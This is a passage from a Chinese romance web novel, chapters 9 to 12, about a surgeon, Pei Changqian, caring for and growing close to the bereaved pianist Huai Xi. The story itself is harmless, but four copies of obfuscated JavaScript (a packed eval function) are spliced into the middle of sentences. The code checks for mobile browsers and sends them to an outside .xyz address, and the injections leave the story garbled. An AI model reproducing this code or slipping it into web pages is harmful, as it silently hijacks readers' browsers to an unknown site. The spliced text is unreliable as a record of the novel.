裴长谦特意将上午的时间空出来,考虑到淮希或许会想外出,比如去祭拜父母。 但是淮希只字不提这件事,裴长谦也不会去提醒。 大半个上午都在家里度过。 他们昨天已经将淮妈妈的东西收拾得差不多。 丢掉了一小部分,大部分都整齐地收纳进箱子放好,还有最重要的几件,淮希想带在身边,裴长谦给他装进了背包里。 淮希的东西,衣物,惯用的生活用品,专业相关的书和乐谱本等,都还没有整理。 裴长谦要去收拾的时候,淮希从沙发上起身,跟过去,握了一下他的手臂。 “别管了,”他的鼻音还是很重,“下午你回去吧,我不走了。” 裴长谦正弯着腰,打算从衣柜里往外取衣服,闻言动作顿住。 他直起身体,身形比淮希高出一截,垂视过来。 静了片刻,淮希看到裴长谦的喉结滚动了一下。 然后男人声音平稳地开口:“你待在这里感冒只会加重,我不放心把你一个人留在这。” 淮希的情绪很平和,也很清醒。 “在上个月去临阳市之前,我一直一个人住在这里,”他抬眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310220|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴长谦,声音轻缓,“我很感激你收留照顾我那么多天,但你没有义务一直帮助我。” 淮希与裴长谦深邃的眼睛对视,眼眸忍不住闪烁。 他其实也很感谢裴长谦陪他回来,看到他最糟糕的现状却不嫌弃,还陪他一起收拾妈妈的遗物。 淮希觉得,也许他们以后可以做朋友。 等他好起来,他会偶尔去临阳市看望裴长谦。 裴长谦听他说完,指着衣柜里堆叠的衣物,问他:“哪些需要带?还是我看着来。” “……” 淮希皱了一下眉。 他不应声,裴长谦就默认他选择后者,开始自主给淮希筛选要带走的衣服。 当下需要穿的尽量都带,至于春夏季的,可以下次再来取。 淮希立在那里,看着裴长谦沉默不语地忙碌,终于忍不住问出疑惑很久的问题。 “你为什么非要管我呢?” 他的态度没有不耐烦,也不冷漠,只是温和地表达困惑。 裴长谦坐在床边,叠好一件衣服,才回答:“我希望你健康。” 淮希静静地思索片刻,还是不解:“医生的职业病吗?在路边随便捡一个人救。” 裴长谦抬眸看了他一眼,脸上没什么神情。 他站起身,在衣柜顶部找到一个行李箱,一只手就取了下来。 擦掉上面的灰尘,检查了轮子和拉链,裴长谦通知淮希说:“我用这个箱子给你装行李了。” 淮希不再理他了。 午饭吃得很安静。 休息过后,两人各背一个背包,裴长谦一手拖着行李箱,另一手带着淮希,准备离开。 临出门前,裴长谦从背包里取出来一双毛绒手套。 白色的,手背部点缀一点咖啡棕,被设计成猫爪的形状,和淮希的白色羽绒服很搭。 淮希根本不知道裴长谦的包里究竟装了多少他的东西。 裴长谦把中间的绳子从他的帽子后面穿过去,低头给他戴手套。 淮希完全有自己戴手套的能力。 但不知道为什么,这样的场景下,似乎裴长谦帮他戴变成了更自然的事。 对方的动作细致又耐心,淮希垂眼看着,闷声开口:“裴长谦,这很奇怪。” “什么?”裴长谦没有抬眼,问他。 “我跟在你身边,一直花你的钱,受你照顾。” “不奇怪。” 裴长谦戴好后松开他的手,抬眸,很公正地问:“你认为哪里奇怪?” “……” 淮希觉得裴长谦是个很好很优秀的人,近乎完美,但一到这件事就会说不通话。 他皱起眉,有些不快地问裴长谦:“难道你要一直这样照顾我吗?” 裴长谦想了想,点头:“如果你一直照顾不好自己的话,是。” 淮希追问:“怎么样才算我能照顾好自己,判断标准是什么?” “没有标准,我主观判断。” 裴长谦说完,就握住淮希的手腕,带着他离开了这间房子。 9. 九 这种天气,一旦染上感冒很难好。 回到临阳市后,裴长谦又带着淮希找医生开了点药,但症状一时半会难以缓解。 当晚,裴长谦洗过澡后,带着一本很厚的专业书,敲响主卧的门。 淮希也刚洗完澡躺进被窝,他又撑着床坐起来,说了声“请进”。 裴长谦推门进来,在离床有些距离的沙发上坐下,解释道:“医生说你体质弱,夜里有可能体温升高,我坐一会儿,万一有情况可以及时发现。” 他翻开手里的书,严谨地补充:“等你睡着就走。” 淮希没出声。 他鼻子还是堵得难受,嗓子也更哑了,说话会有些吃力。 他躺回床上,背对着裴长谦的方向。 沙发旁边有一张小边几,上面放了台灯。 裴长谦将灯光调成暖光,然后关掉了房间里的大灯,环境变得昏黄温暖。 传到耳边的翻书声舒缓规律。 淮希感受到眼皮沉重,困意袭来时,在心中猜想,也许是新感冒药里的催眠成分起了作用。 接下来的一周里,裴长谦每晚睡前都会来主卧看书。 那本很厚的专业书就留在了主卧的小边几上。 淮希不知道他每次看了多久,也不知道他每天夜里什么时候离开的。 中间,淮希的感冒症状越来越轻,趋于痊愈,但裴长谦好像养成了习惯,仍旧每晚都来。 边几上的书从一本换成两三本叠成的一摞。 淮希停掉了带有催眠作用的感冒药,但失眠却没有反复,他仍能平稳地入睡。 …… 这天是手术日,裴长谦下午做了一场很复杂的脊柱手术,结束时已经将近凌晨十二点。 连续八个小时高强度工作,不吃不喝,从手术室出来时,整个人已经筋疲力竭。 手术过程需要保持注意力高度集中,身体也常常维持一个姿势不动,就会导致腰、腿、手臂都很累。 裴长谦草草吃了点速食补充能量,之后与同事道别,驱车回家。 家里一片漆黑。 裴长谦懒得开灯,摸黑放下工作包和外套,又做了一遍手消,才放轻脚步去看淮希。 淮希保持着蜷缩的姿势躺在床的一边,半张脸都埋在被子里。 从听到裴长谦回来的细微声响,他就开始闭起眼睛装睡。 但裴长谦站在他床边,只看了一眼,就低声开口:“睡不着吗?” 淮希强撑着不讲话,不做出任何反应。 但明显抖动的眼睫出卖了他。 裴长谦微哑的嗓音在夜里显得很温柔:“我去洗个澡,过来看会儿书。” 他说完就转身出去了,没再给淮希开口的机会。 淮希翻过身时,只看到裴长谦大步离开卧室的背影。 他呆了片刻,拿过床头柜的手机看一眼,皱眉发现这时居然已经是凌晨一点钟。 裴长谦很快地洗完了澡。 他换上一身深色睡衣,头发半干,回到主卧后,轻车熟路地在沙发上坐下。 将台灯灯光调暗,又随手拿过最上面的那本书开始翻看。 淮希以往都是背对着他睡,今天改了方向。 他把装睡被拆穿的事忘掉,用一双毫无睡意的眼睛观察裴长谦。 或许是工作性质的原因,裴长谦的体态管理一直很好。 他很自律,宽肩窄腰,腰身时刻挺拔。 但这时脊背却微微弯了下去。 男人浑身放松地靠坐在沙发里,削弱了平时一丝不苟的气质,多出几分慵懒。 淮希还注意到裴长谦翻书的手臂在轻轻抖动。 那是长时间做手术的结果。 淮希眉头轻皱,低声开口:“你上班很累了,回去休息吧。” 裴长谦停下翻书的动作,抬眼看向他。 男人眼中的疲惫已经无法遮掩。 他的确很累,需要连续数个小时精神高度紧绷的手术已经耗尽了他的脑力。 裴长谦现在的大脑一片混沌,虽然视线一直落在书页上,但其实一个字都没有看进去。 “等你睡着吧。” 裴长谦停顿了一下说:“你失眠,我放心不下,回去躺着也睡不着。” 淮希眉头仍旧紧皱,显然不赞同。 两人沉默地僵持了片刻。 裴长谦似乎在考虑,之后合上手里的书,对淮希道:“不介意的话,我在你这里也能休息。” “坐在这里有点冷。”男人因为疲倦而低哑的嗓音像在示弱。 他今天穿的睡衣的确有些薄。 淮希静了静,默不作声拽开裹在身上的被子,给他腾出一半。 “这本来就是你的床。” 裴长谦关掉台灯,起身过去在床的另一边躺下。 因为本来也看不进去,所以他没打算再看书,只安静地躺着。 几乎是裴长谦刚躺进来,淮希就感受到了温热的体温,也闻到了对方身上的味道。 除了沐浴露的木质香外,还有灭菌剂和医用肥皂的气味。 淮希都不觉得难闻,甚至觉得这些味道出现在裴长谦身上很合适。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310221|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听着裴长谦的呼吸声,他不知不觉睡着了。 裴长谦起身离开主卧时,觉得自己几乎站着就能睡着。 他的身体已经困乏到极点,但精神却因为心情愉悦有些兴奋。 他觉得自己今晚做了一个成功的试验。 其实淮希入睡需要的不是翻书声,而是有人陪伴。 …… 自从睡眠渐渐变得正常后,淮希的身体总算健康起来。 他的气色好了不少,脸色和嘴唇不再总是苍白,原本瘦削的脸颊也有肉了。 虽然还是很瘦,精力差,但心情舒缓的时间变得更多,很少再陷入低落的情绪不理人。 裴长谦白天的工作仍旧很忙,淮希没事的时候又不会去打扰他。 每晚睡前的那一个小时,变成了两人慢慢熟悉起来的机会。 那晚裴长谦躺在床上只是一次特殊情况。 之后的每次,他仍是坐在那套小沙发里。 但他不再只是看书。 换成用电脑看文献,或是写东西,都可以。 只要他待在房间里,淮希总能睡着。 淮希开始主动和裴长谦说话,次数在变多。 有时,裴长谦看书看得过于专注,淮希就会感到好奇。 “你在看什么,”他面朝裴长谦侧躺着,一双乌黑的眼睛期待地看着对方,轻声问,“能给我念一念吗?” 裴长谦眉梢微动,神情不变地点头。 他声音低沉,温柔,很好听,可惜书里的内容一点都不有趣,全是枯燥的医学知识。 这导致本来需要四十分钟才能睡着的淮希,十分钟就进入梦乡了。 还有的时候,他们会将投影仪打开,播放一部风格温馨治愈的电影。 淮希只看到一半就会睡着。 第二天早上,他起床和裴长谦一起吃早饭,忽然记起来,就问裴长谦电影的结局是什么。 裴长谦那时已经准备出门,在玄关处弯腰换鞋,淮希追过来问的问题令他动作僵硬了一下。 他直起身看向淮希,神情也有些不自然,显得严肃。 淮希等了片刻,了然:“你后来也去睡了,是吗?” 裴长谦轻轻点头,但其实不是。 他昨晚一直在主卧待到电影播完,才关掉投影仪离开。 只不过淮希睡着之后,他就没再看电影一眼。 “没关系,我们今晚可以再看一遍,”淮希没有感到失望,帮忙把工作包递给他,轻声说,“你工作顺利。” 裴长谦接过包,很快开门离开了。 10. 十 这个周末,裴长谦休息一天,可以一整个白天都待在家里。 天气一天比一天冷,外面天空是灰白色,阳光很微弱,几乎没有暖意。 隔着透明的落地窗,室内暖气充足,温度适宜。 客厅茶几上放着一些杂物,书,半块蛋糕,一壶花茶等。 裴长谦穿一身家居服坐在一旁的沙发里,他腿上放着电脑,正在看资料和手术视频。 淮希蜷坐在长沙发的一边,低着头,很安静地摆弄着头发。 他的头发在来临阳市之前就偏长了,来这里一个多月又没剪过,脑后的头发就变得更长了些,发尾微卷。 他不想出门,不想进理发店,裴长谦担心他嫌头发碍事,就在楼下超市买了一小盒黑色皮筋。 但淮希几乎没怎么用过皮筋。 上学期间偶尔看到女生用时,觉得动作轻松又简单,但自己上手却发现不是那么回事。 淮希抬起手臂试了好几遍,渐渐失去耐心,随意将缠成一团的皮筋从脑后拽下来。 “小心。”裴长谦抬眸注意着他,脱口道。 男人皱起眉,视线落在被淮希拿在手心的皮筋上。 上面缠着几根淮希的发丝。 淮希的发质细软,蓬松,很容易被扯断。 裴长谦神情严峻,放下电脑起身,走过去将那枚皮筋从淮希手中拿走丢掉,又取出一枚新的。 “我来吧。”他站到淮希身后说。 淮希还有点生头发和皮筋的气,垂着眼不想说话,也没有拒绝。 与他相比,裴长谦的动作温柔许多。 男人修长的指节缓慢在发间穿梭,原本拿手术刀都能游刃有余的手,这时却小心又笨拙。 他扎的很慢,但指腹轻缓擦过头皮的感受让人放松,淮希很快又不生气了。 “我小的时候留过一次长发,”他静了片刻,轻声开口,“是我妈妈故意的,她想给我扎小辫子。” 裴长谦的注意力都放在控制发绳上,他闻言动作顿了一下,抬眸去看淮希。 不过这个角度,他无法观察到淮希的神情。 对于淮希突然主动提起自己的妈妈,裴长谦心中感到意外。 他沉默着,看到淮希拿过放在腿边的手机,开始翻视频给他看。 淮希没有避人的意思,裴长谦看到淮希点开了一个命名为“我的小家”的相册,里面全是他和父母有关的照片和视频。 翻找几秒钟后,淮希保持脑袋不动,把手机举到裴长谦眼前。 裴长谦看到了很小的淮希。 大概只有四五岁,又小又白净的脸蛋两旁各扎了一只短短的麻花辫。 如果不是提前知道,裴长谦真的会分不清是男孩还是女孩。 淮希小小年纪性格就很寡淡了。 画质不太好的视频里,他坐在儿童乐园的秋千上,淮爸爸蹲在旁边来回拨弄着他毛茸茸的小辫子逗他,淮希却一副很无聊的表情。 视频外传来淮妈妈笑得不停的声音:“宝宝,你不喜欢你的新发型吗?” 淮希慢条斯理地把影响他荡秋千的小辫子拨到脑后,把爸爸也推开,面无表情地说喜欢。 “很可爱。” 只有十秒左右的视频很快播完,裴长谦也终于给淮希扎好了头发。 他去拿来一面镜子,让淮希检查。 “长发也很适合你。” 淮希对着镜子看了一眼,裴长谦扎的很好,很自然。 淮希道了谢,裴长谦说不客气,然后坐回原来的位置,继续看电脑。 淮希坐得累了,改为趴在沙发上看手机。 其实这一个多月里,也有人联系他去工作。 有一起读研究生的同学喊他一起写曲子,或者说可以帮他介绍演出;之前认识的一些学生家长也会发消息,问他最近有没有上课的意愿。 淮希都委婉地拒绝掉了。 刚才对裴长谦提以前的开心的事,是脑子里莫名浮现出来,情绪自然流露。 但提到弹琴赚钱,淮希就会记起妈妈躺在ICU里,他蹲在走廊上,又怕妈妈会死,又焦虑赚不够医药费的绝望感受。 淮希还是很抗拒。 但他总有一天会去好好赚钱。 花了裴长谦多少钱,淮希都记在心里,总要还的。 裴长谦看完一个手术视频时,听到了手机掉落在地毯上的闷响。 淮希脸颊压在手臂上睡着了。 他白天一个人在家时,很少会有这种随时入睡的情况。 即使睡着了也很容易惊醒。 但如果裴长谦在家,淮希就好像变得很困,经常这样睡着。 裴长谦过去给他熄灭手机屏幕,放回桌上,又轻轻拆掉刚扎好不久的发尾,给他盖好毛毯,淮希都没有醒。 …… 一天晚上入睡前,淮希坐在床边,看到了裴长谦傍晚发的工作朋友圈。 对方参加了专业相关的某某研讨会,文字内容是一些很官方的话语,配图则是几张十分正式的照片。 一张是裴长谦单人讲话的场景,另外两张是与同事的合影,以及最后大合照。 这是淮希第一次看见裴长谦穿正装,很衬他的气质。 男人讲话时神情认真严肃,低调的灰色条纹西装穿在他身上,使他更具成熟魅力,给人十分可靠的印象。 淮希随手翻了翻后面两张照片,都能一眼从人群中看到裴长谦。 实在是太突出了。 卧室门没关,裴长谦洗完澡,带着平板直接推门进来。 淮希的手机还停留在朋友圈的界面,用手举起来给他看。 裴长谦看到了,解释说:“配合科室宣传发的。” “你今天早上出门的时候,没有穿西装。”淮希说。 裴长谦提醒他坐进被窝再玩手机,避免着凉,然后才继续低声解释。 “发言在下午,上午我还有门诊,穿西装不方便,一般都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310222|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把衣服存放在休息室,需要时再换。” 淮希点了点头,眉头轻轻皱起。 “你的工作每天都很忙,要做很多事。” “还好,”裴长谦在沙发上坐下,垂眼看着平板说,“已经习惯了,不觉得累。” 淮希心里并没有被安慰多少,他知道这是假话。 而且即使裴长谦真的说很累,他也帮不上什么忙。 他放下手机,躺进被窝准备睡觉了。 不过短暂的失落过去后,淮希又好奇起另一件事。 他侧过身,轻声问裴长谦:“你穿白大褂是什么样子?” 裴长谦划动平板的手指停了一下。 他抬起头,顿了顿说:“明天可以拍给你。” 淮希的眼睛被暖光衬得柔和明亮。 “好啊。” 第二天清早,裴长谦比以往提前二十分钟到达科室。 除了值夜班的医护人员外,他是第一个到的。 医生休息室里暂时空无一人。 裴长谦脱掉羽绒服外套挂好,换上白大衣,对着墙上用来让大家检查仪容仪表的简约镜子拍照。 他几乎从没自己给自己拍过照,姿势十分生疏,表情也很僵硬。 足用了将近五分钟,裴长谦才点开置顶的那个聊天框,发了一张照片过去。 今天裴长谦出门有点早,淮希没有起得来。 不过他也没有晚太久,赶在裴长谦给他留的早饭凉掉之前起了床,自己坐在餐厅把饭吃掉。 淮希已经大致了解了裴长谦的洁癖。 慢吞吞洗好碗筷后,他会学着裴长谦平时的样子,将所有东西物归原位,仔细擦一遍岛台和柜台,及时处理掉厨余垃圾。 忙完,淮希有点累地坐回沙发里,这才看到裴长谦三分钟前发来的照片。 点开看过后,他懒得抬手打字,发了语音回复。 裴长谦还站在休息室的镜子前等待,消息刚弹出来,他就很快点开。 然后听到了淮希语调轻缓的夸赞:“裴医生很帅。” 指腹悬在语音条上,裴长谦很想再点一遍,但想到马上就要开始工作,忍住了。 他退出聊天界面,把手机装回口袋,大步出了休息室。 距离早会开始还有些时间,裴长谦打开休息室的门出来时,几位护士恰好刚到科室,还没来得及换工作服。 “裴主任,早。” 第一位护士跟裴长谦打招呼。他们这么称呼裴长谦是表示尊重。 “裴主任今天来的有点早啊。” 这是第二位护士。 “裴主任,怎么了这是?” 第三位护士在裴长谦跟前停下脚步,皱眉担心地看他:“你耳朵后面那一片怎么那么红?不会是过敏了吧?” “……” 裴长谦维持着严肃的神情,掩饰性地往后撤离一步:“没事,不是过敏。” 他说完很快转身迈步进了办公室。 11. 十一 裴长谦的生活习惯很规律,每周有固定采购日,来补充家里的果蔬和日用。 淮希自从有精力关注身边的人后,很轻松观察到了这个规律。 在这天早上,裴长谦出门上班前,他问对方下班后可不可以带他一起去超市。 裴长谦当然答应。 往常,他都是在下班路上顺带采购完,直接回家。 淮希要去的话,他可以先回家接淮希,两人再一起出门。 裴长谦把这天定为采购日是有原因的,一般下午不用加太久的班,时间较宽裕。 他回到家时,看到阳台处一道纤长的背影。 淮希手指按在落地窗的玻璃上,偏着脑袋往外看。 淮希还是很瘦,尺码正常的针织衫穿在他身上下摆空荡荡的,让裴长谦怀疑不够保暖。 往下,淮希穿了一条偏长的墨色休闲裤,他站在那里,宽松的裤腿遮住透白的脚跟,垂落在地毯上。 裴长谦家里只有一个衣帽间,两人共用,淮希去里面找能出门的衣服穿。 裴长谦给他买过几条裤子,但他不怎么上心,分不清。 随意挑中一条,踩在衣帽间的地毯上,慢吞吞穿好了,才发现裤腿长一截。是裴长谦的。 淮希懒得再找再换,反正裴长谦允许他穿,不会生气。 听到裴长谦进门的声响,淮希不再盯着窗外发呆,转身朝他走过去。 裴长谦视线落在他脚下,眉头皱起,不是因为他穿错裤子,是因为他赤着脚。 “怎么又不穿袜子。” 淮希坐在玄关的长椅上换鞋,埋着脑袋:“这就穿了。” 这是住进这所房子以来,淮希第二次和裴长谦一起出门。 上一次是两人回松月市。 裴长谦带他去的是离家最近的商场。 淮希其实没有什么东西要买,他只是心血来潮想出门走走。 逛超市时,裴长谦推着购物车,淮希始终跟在他身后错一步的位置。 淮希很久没到人多的地方,反应再度变得迟缓,走路也慢。 裴长谦买东西的偏好固定,用惯了某个品牌或味道就会一直重复购买,还会在进超市之前就在心里罗列好要买的东西的名单。 他习惯买东西雷厉风行,一般十几分钟就能解决,这次配合淮希,将节奏放得一慢再慢。 淮希不像是来买东西,倒像是来观察,或者说吸收超市里的生活气息。 他毫无波动的视线会轻轻扫过路过的每一排货架,但不在任何一件物品上特殊停留。 导致裴长谦连想替他选些什么,都无从下手。 慢慢的,变成裴长谦走在前面选,淮希跟在旁边看。 “不要再买没有味道的牛奶了。” 在裴长谦伸手取了一大瓶纯牛奶时,一直沉默的淮希弱声开口。 “很难喝。”他皱着眉,看着裴长谦说。 裴长谦就把牛奶放了回去,示意淮希:“你来挑,挑你喜欢的。” 淮希选了一款草莓味道的乳饮料。 裴长谦心中不太赞同,因为营养价值简直是大打折扣。 但眉眼压了压,最后还是什么都没说。 淮希把乳饮料放入购物车,裴长谦伸手过去的时候,他以为对方要给他放回去。 谁知道裴长谦只是把乳饮料摆放整齐,和购物车里的其他物品拼凑成一个工工整整的形状。 淮希再次认识到裴长谦的强迫症有多严重。 简直像在玩俄罗斯方块。 裴长谦很喜欢淮希对他提要求的语气。 但这种情况往往很少。 所以有时候,他会为了听到,故意做点什么。 淮希状态好起来后,逐渐展现原本的性格。 他本身就是很随和的人,和裴长谦逐渐熟悉起来之后,就变得很配合。 裴长谦平时有空会给他切小果盘。 里面经常有淮希不喜欢的水果,淮希不会提,也不会浪费,都会慢吞吞地将果盘吃干净。 他唯一微弱的抗议,就是把讨厌的水果留到最后吃。 几次下来,裴长谦不难看出来,淮希最不喜欢的水果是猕猴桃。 他在逛到水果区时,特意拿了两盒猕猴桃放入购物车。 淮希原本在出神,扭头瞥见,静静地睁大了眼睛。 他走到裴长谦旁边,问:“怎么拿这么多?” “富含维生素C,对你身体好,可以多吃。”裴长谦神情严肃地回答他,像医生跟患者强调医嘱。 淮希抿了一下唇。 裴长谦已经推动购物车,准备离开水果区。 淮希犹豫再三,还是追过去握住了他的手臂。 “裴长谦,”淮希叫住他,纠结地说,“少拿一点猕猴桃吧,我不喜欢吃。” 裴长谦视线落在自己的手臂处,淮希的手指握在那里。 他抬眼,有些意外地问:“不喜欢?” “之前给你切,没听你提过。” 淮希心想,他长记性了,以后会及时说的。 “那就不买了。”见淮希沉默,裴长谦把两盒猕猴桃都放回原位。 淮希想到什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310223|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张了张口,又说:“你喜欢的话也可以买,我只是说我不吃。” “不用,”裴长谦微微低着头,唇边有很浅的笑意,“我也不怎么爱吃。” …… 结过账后,裴长谦提着东西去停车场开车,淮希从商场正门出来,站在广场等他。 淮希今天穿了一件杏仁黄长款羽绒服,脑后扎了微微卷曲的发尾,使他显得比实际年龄更小些。 他肤色白,气质独特,站在人群里很扎眼。 但仔细看时,又会给人一种攻击能力和防御能力都可以忽略不计的感觉。 “你好,你是不知道想喝什么吗?”一个裹着冲锋衣的男生撇开三两个同伴,走到淮希旁边说。 他看起来应该是在这附近上学的大学生。 男生指着淮希面前的广告立牌说:“这个我尝过,挺好喝的,我请你吧?” 淮希这才意识到自己停在了一家奶茶店附近。 他一直在无聊地观察进进出出的人群,被这个男生误会了。 “不用,我不喝。”淮希手揣在羽绒服口袋里,摇头说。 他说完转了个方向,背对着奶茶店。 男生反应过来后笑了笑,又自然地绕到淮希面前:“在等人?” 淮希淡淡地看他一眼,“嗯”了一声,裴长谦在这时走了过来。 男人手掌在淮希腰上按了一下,又撤开,在淮希抬头看向他时低声:“走吧,上车回家。” 男生敏锐地注意到了裴长谦占有性的动作,甚至感受到了对方身上散发出来的隐隐敌意。 他年轻气盛,即使面前是一个看起来很有能力的成熟男性,也丝毫不想露怯。 他对裴长谦的突然介入故作尴尬地“额”了一声,向淮希问道:“这位是?” 淮希没有来得及张口,裴长谦语气平稳地反问:“你是哪位。” “哦,我,路人,”男生对淮希笑了一下,“想跟这位帅哥交个朋友,加个联系方式。” 裴长谦一直站在淮希身边,离得有些近了,稍一转身就和淮希的肩膀贴在了一起。 “他想交朋友,加你的联系方式。” 转向淮希时,裴长谦的语气明显温和许多。 淮希的反应没有他们俩那么快,他摇了一下头,开口:“抱歉……” “他不交。” 裴长谦很快抬眼,替他把话说完。 男生的神情显然僵硬住。 等他反应过来时,裴长谦已经带着淮希往车的方向走了。 男生没忍住,对着裴长谦离去的背影翻了个白眼。 12. 十二 回家的路上,车里有些安静。 淮希坐在副驾驶,一只手搭在身前的安全带上,手指在上面轻按。 等红灯时,车慢慢停下,还是很安静,淮希才感觉出不对劲。 他看向裴长谦,对方的侧脸映在外界杂乱的光亮中,立体,冷峻,像一件雕塑艺术品。 “不开心吗?”淮希手指不再乱动,轻声问。 他在想,结完账两人分离时裴长谦的状态还很正常,也许是去停车场开车期间发生了什么事,惹裴长谦不愉快。 “没有。”裴长谦手搭在方向盘上,偏头看了他一眼说。 这个红灯时间有些长。 顿了顿,男人看着前方跳动的秒数,又低声道:“你刚才做的很对,不乱加陌生人的联系方式。” “不乱喝饮料也是对的,你的体质还不够强壮,可能会着凉或拉肚子。” 淮希没想到他突然说这些,怔了怔,之后带着笑意道:“裴长谦,我是二十六岁,不是六岁。” “抱歉。” 裴长谦握在方向盘上的指节收紧。 他听出淮希应该是笑了,但红灯突然变绿,裴长谦错过了这次机会。 …… 这次出门的体验很好,很顺利。 回到家后,淮希和裴长谦一起待在厨房,配合着用买来的食物将冰箱填满。 那种感受很放松,几分钟似乎被填得漫长。 购物袋见底,两人的配合工作结束时,淮希心中感到意犹未尽。 他逐渐不再抗拒出门,但独自出去的时候很少,更多还是愿意与裴长谦一起。 裴长谦的身边像淮希的舒适区。 男人总会把一切都安排好,一切可能发生的意外情况都考虑到。 只要周围有熟悉的高大身影,淮希就可以什么都不用想。 有时在外面,他莫名走了好久的神,突然抬头去寻找时,裴长谦总是站在不远处。 一天晚上,两人吃过晚饭后,找了个商场闲逛。 商场一楼扶梯旁放了一架公共钢琴。 淮希经过时看到,脚步停了一下。 他的视线在钢琴上停留了几秒,裴长谦注意到,站在他身旁:“要弹吗?” 淮希抬眼看向他,眼里的犹豫很明显。 他眉间轻皱,半晌,才小声问:“可以吗?” 他已经快两个月没有碰琴了。 以前从来没有停这么久过。 淮希都怀疑自己也许已经厌烦弹琴,或者再也弹不出以前的水准。 这个时间有些晚,商场客流量不大,几乎没有人在钢琴周围驻留。 经过的人即使注意到钢琴,大多数也只是把它当做装饰品,多关注几眼。 裴长谦找到附近的工作人员,询问后回来:“可以弹。” 他看了看钢琴旁的立牌,拿出手机对淮希说:“扫码登记一下就可以。” 裴长谦替淮希扫了码。 淮希一时心血来潮,并没有想好自己要弹什么。 手指碰上琴键时,才随意选了一首他演出时用的最多的曲子。 琴声宁静而舒缓,很像淮希的性格。 以裴长谦这个外行人来看,只能看出灯光下的白色钢琴很漂亮,琴旁簇拥着的一大堆金粉色鲜花很精致。 但淮希开始弹琴后,那些都很快淡去。 裴长谦眼里只剩下那道坐在钢琴前的纤瘦身形。 商场里暖气足,待久了会觉得热,他们两人都脱了外套。 淮希里面穿的是一件再普通不过的圆领白色毛衣,低头时,露出一截细腻透白的脖颈。 裴长谦莫名想起了十多年前第一次见到的淮希。 那时的淮希虽然也很瘦弱,还很娇气,但是一朵无忧无虑、青涩绽放的花。 他那时最大的烦恼,应该就是裴长谦这个陌生人给他带来的一时尴尬。 思绪跳转,裴长谦又记起自己当初为什么非要把淮希带回家。 病床上的淮希像一层原本透亮的玻璃,不知不觉落满的灰。 即使沉睡着,脸上仍阴雨密布,好像随时会碎掉。 裴长谦当时只是想把淮希养好。 起码要养回他第一次见到的模样。 淮希没有选太长的曲目,他不到十分钟就弹完了。 周围不知不觉停留了不少安静的听众,淮希从琴椅上站起来时,有几个人在微笑着为他鼓掌。 淮希参加过数不清的演出,已经习惯被围观注视,所以并不会怯场。 他轻轻鞠躬致意,之后视线就去寻找裴长谦的身影。 裴长谦还立在原地等他,一只手臂揽着两人的外套,另一只手握着手机。 淮希朝对方走过去时,心情突然有些失落。 他觉得自己弹得不好。 手变生了,这架钢琴的琴键不够舒服,椅子也不习惯。 总之哪里都不够好。 淮希觉得自己第一次当着裴长谦的面弹琴,不该是这样。 来到裴长谦身边后,淮希从对方手臂里拿走自己的外套,余光看到裴长谦手机上的画面。 “你拍我了是吗?”淮希自己抱着衣服问。 “嗯。” 裴长谦失控的心跳还没完全恢复。 他低低地应了一声,气息不太稳,好在淮希注意力在照片上,没有关注他。 鼻间嗅到清甜的香气,淮希朝他靠过来,肩膀抵住他的。 裴长谦配合地把手机屏幕侧过去一些,在淮希低头看时,突出的喉结无声滚动。 “你弹的很好听。” 裴长谦的声音已经恢复平稳,他干脆把手机递到淮希手里,让淮希检查照片:“都很好看,你介意的话就删掉。” 淮希的心情不知不觉又变好。 但接过裴长谦的手机翻了翻后,他的神情逐渐变得僵硬。 裴长谦的拍照技术实在是太差了。 淮希想不到对方是怎么找到这些难看的角度的。 他连续删了四五张,最后一张仍旧很丑,但淮希神情凝重地犹豫半晌,留下了。 至少要留一张照片当作纪念。 毕竟是他第一次弹琴给裴长谦听。 “谢谢,”淮希把裴长谦的手机递过去说,“把这张发给我吧。” 两人准备离开商场,出去之前要先穿上外套。 裴长谦亲眼看着淮希几乎把他拍的照片都删光,沉默地穿好衣服后,还是没忍住问:“其他的都删了,是不喜欢吗?” 